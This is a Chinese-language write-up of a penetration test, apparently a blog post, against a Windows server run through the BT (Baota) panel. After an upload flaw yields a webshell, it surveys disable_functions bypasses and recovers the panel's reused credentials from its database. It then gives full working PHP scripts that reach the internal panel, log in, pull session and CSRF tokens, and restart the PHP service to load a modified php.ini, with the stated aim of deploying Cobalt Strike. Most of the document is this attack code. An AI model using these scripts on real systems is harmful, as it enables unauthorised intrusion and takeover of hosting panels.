在一次渗透测试中,通过某个上传漏洞拿到了目标的shell
好家伙,禁了这么多函数
上一下哥斯拉的马看一下信息
win的服务器,还是system权限
目标服务器是宝塔,win下的宝塔一般都是system权限的
现在有几种思路:
1.想办法bypass disable_functions
2.替换php.ini
3.想办法替换宝塔的密码文件,登录宝塔
0x01:无法bypass disable_functions
那就先从第一种思路开始
首先目标用的是apache:Apache/2.4.52 (Win64) OpenSSL/1.1.1m mod_fcgid/2.3.9a 是 php5.5.38
百度一下bypass disable_functions的方法:
1.利用Linux环境变量LD_PRELOAD –要linux,win不行
2.利用PHP7.4 FFI绕过 –php版本5.5.38
3.CVE-2014-6271 –要linux,win不行
3.利用imap_open()绕过 –无iamp扩展
3.利用Pcntl组件 –无组件
4.利用ImageMagick 漏洞绕过(CVE-2016–3714) –无php-imagick拓展
5.利用 Apache Mod CGI — 要linux,win不行
6.利用攻击PHP-FPM –要linux,win不行
7.利用 GC UAF –要linux,win不行
8.利用 Json Serializer UAF –要linux,win不行
9.利用Backtrace UAF –要linux,win不行
10.利用iconv –要linux,win不行
11.利用Windows组件COM绕过 –目标disable_classes了com
0x02:替换php.ini失败
网上找到了一个文章
我也试试,成功修改了
但是不知道为什么我等了24小时还是没有生效…………
有没有大佬知道这是怎么回事?
0x03:替换密码进入宝塔失败
我登录了D:/BtSoft/panel/data/admin_path.pl 是保存路径的
/jinguangdasha
D:/BtSoft/panel/data/default.db
这个是宝塔的数据库下载一下
账号也是jinguangdasha,到这里我怀疑密码也是jinguangdasha
宝塔的加密方式: md5(md5(md5(password)+’_bt.cn’)+salt)
jinguangdasha–>a5dd26d55a09d7ce7a510a824ee9ebba–>620b24a6d3d02afd8cb8aa3c868ba4b2–>f07c6c84d52346c4cf7c6b155a37b5b2
对的上说明宝塔面板:/jinguangdasha 账号:jinguangdasha 密码:jinguangdasha
这下都不用替换了
结果*@#@&*(脏话),宝塔面板在内网
0x04:PHP file_get_contents登录面板并重启面板
灵光乍现,file_get_contents这个函数是调用php.exe执行操作,那如果get内网ip是不是可以获取到面板,如果构造登录获取到cookie去重启php服务是不是我修改的php.ini就生效了,就可以上cs了
<?php
echo file_get_contents("内网面板地址/jinguangdasha/");
?>
说明这个思路是行得通的
经过分析,可以知道改了默认入口的宝塔先要访问一下 内网面板地址/jinguangdasha/ 然后http返回头会有一个Set-Cookie:xxx
获取到这个Set-Cookie值再去post登录才行,不然无法登录
<?php
$url = "内网面板地址";//面板地址
$safety = "/jinguangdasha/";//面板入口
file_get_contents($url.$safety);
$cookie = "";
foreach ($http_response_header as $header) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) {
$cookie = $matches[1];
}
}
echo $cookie;
?>
返回结果:
宝塔登录的时候对账号密码进行了加密
构造包进行登录:
<?php
$url = "内网面板地址";//面板地址
$safety = "/jinguangdasha/";//面板入口
file_get_contents($url.$safety);
$cookie = "";
foreach ($http_response_header as $header) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) {
$cookie = $matches[1];
}
}
echo $cookie;
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
$header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."\r\n"."Cookie: ".$cookie."\r\n";
define('FORM_FIELD', 'uploaded_file');
$content = "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"username\"\r\n\r\n"."a5dd26d55a09d7ce7a510a824ee9ebba\r\n";//加密后的账号
$content .= "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"password\"\r\n\r\n"."620b24a6d3d02afd8cb8aa3c868ba4b2\r\n";//加密后的密码
$content .= "--".MULTIPART_BOUNDARY."--\r\n";
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => $header,
'content' => $content,
)
));
$a = file_get_contents($url."/login", false, $context);
echo $a."<br>";
?>
返回:SESSIONID=8fab8ee9-479d-4428-94ac-6acf20a81001.42vuXC45Eacp8au9rTFsTKRrr58{“status”: true, “msg”: “鐧诲綍鎴愬姛,姝e湪璺宠浆…”}
登录成功了,宝塔登录后会返回 request_token 和 SESSIONID ,我们带着这两个值进去看一下面板
<?php
$url = "内网面板地址";//面板地址
$safety = "/jinguangdasha/";//面板入口
file_get_contents($url.$safety);
$cookie = "";
foreach ($http_response_header as $header) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) {
$cookie = $matches[1];
}
}
echo $cookie;
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
$header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."\r\n"."Cookie: ".$cookie."\r\n";
define('FORM_FIELD', 'uploaded_file');
$content = "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"username\"\r\n\r\n"."a5dd26d55a09d7ce7a510a824ee9ebba\r\n";//加密后的账号
$content .= "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"password\"\r\n\r\n"."620b24a6d3d02afd8cb8aa3c868ba4b2\r\n";//加密后的密码
$content .= "--".MULTIPART_BOUNDARY."--\r\n";
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => $header,
'content' => $content,
)
));
$a = file_get_contents($url."/login", false, $context);
echo $a."<br>";
$cookies = array();
foreach ($http_response_header as $hdr) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) {
parse_str($matches[1], $tmp);
$cookies += $tmp;
}
}
$request_token = $cookies['request_token'];
$key= $cookies['SESSIONID'];
echo $request_token."@@".$key;
$opts = array (
'http' => array (
'method' => 'GET',
'header'=>
"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" .
"Cookie:request_token=".$request_token."; SESSIONID=".$key." \r\n".
"Pragma:no-cache\r\n",
)
);
$context2 = stream_context_create($opts);
$bb =file_get_contents($url."/soft",false,$context2);
echo $bb;
?>
宝塔的机制是防止csrf,GET虽然可以访问 ,但是POST无法正常访问,要带着一个由刚才GET得到的token才可以成功POST
现在构造post来重启面板的php服务
<?php
$url = "内网面板地址";//面板地址
$safety = "/jinguangdasha/";//面板入口
file_get_contents($url.$safety);
$cookie = "";
foreach ($http_response_header as $header) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $header, $matches)) {
$cookie = $matches[1];
}
}
echo $cookie;
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
$header = 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY."\r\n"."Cookie: ".$cookie."\r\n";
define('FORM_FIELD', 'uploaded_file');
$content = "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"username\"\r\n\r\n"."a5dd26d55a09d7ce7a510a824ee9ebba\r\n";//加密后的账号
$content .= "--".MULTIPART_BOUNDARY."\r\n"."Content-Disposition: form-data; name=\"password\"\r\n\r\n"."620b24a6d3d02afd8cb8aa3c868ba4b2\r\n";//加密后的密码
$content .= "--".MULTIPART_BOUNDARY."--\r\n";
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => $header,
'content' => $content,
)
));
$a = file_get_contents($url."/login", false, $context);
echo $a."<br>";
$cookies = array();
foreach ($http_response_header as $hdr) {
if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches)) {
parse_str($matches[1], $tmp);
$cookies += $tmp;
}
}
$request_token = $cookies['request_token'];
$key= $cookies['SESSIONID'];
echo $request_token."@@".$key;
$opts = array (
'http' => array (
'method' => 'GET',
'header'=>
"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" .
"Cookie:request_token=".$request_token."; SESSIONID=".$key." \r\n".
"Pragma:no-cache\r\n",
)
);
$context2 = stream_context_create($opts);
$bb =file_get_contents($url."/soft",false,$context2);
$bb2 = getSubstr($bb,'request_token_head','container-fluid');
$bb3 = substr($bb2,9,48);
echo "@@".$bb3."<br>";
function getSubstr($str, $leftStr, $rightStr)
{
$left = strpos($str, $leftStr);
$right = strpos($str, $rightStr,$left);
if($left < 0 or $right < $left) return '';
return substr($str, $left + strlen($leftStr), $right-$left-strlen($leftStr));
}
$data = array(
'name' => 'php-fpm-55',//php版本号
'type' => 'restart',
);
$content666 = http_build_query($data);
$content_length = strlen($content666);
$options = array(
'http' => array(
'method' => 'POST',
'header' =>
"Content-type: application/x-www-form-urlencoded\r\n" .
"Content-length: $content_length\r\n".
"Cookie:request_token=".$request_token."; SESSIONID=".$key." \r\n".
'x-http-token:'.$bb3."\r\n".
"x-cookie-token:".$request_token."\r\n",
'content' => $content666
)
);
echo file_get_contents($url."/system?action=ServiceAdmin", false, stream_context_create($options));
?>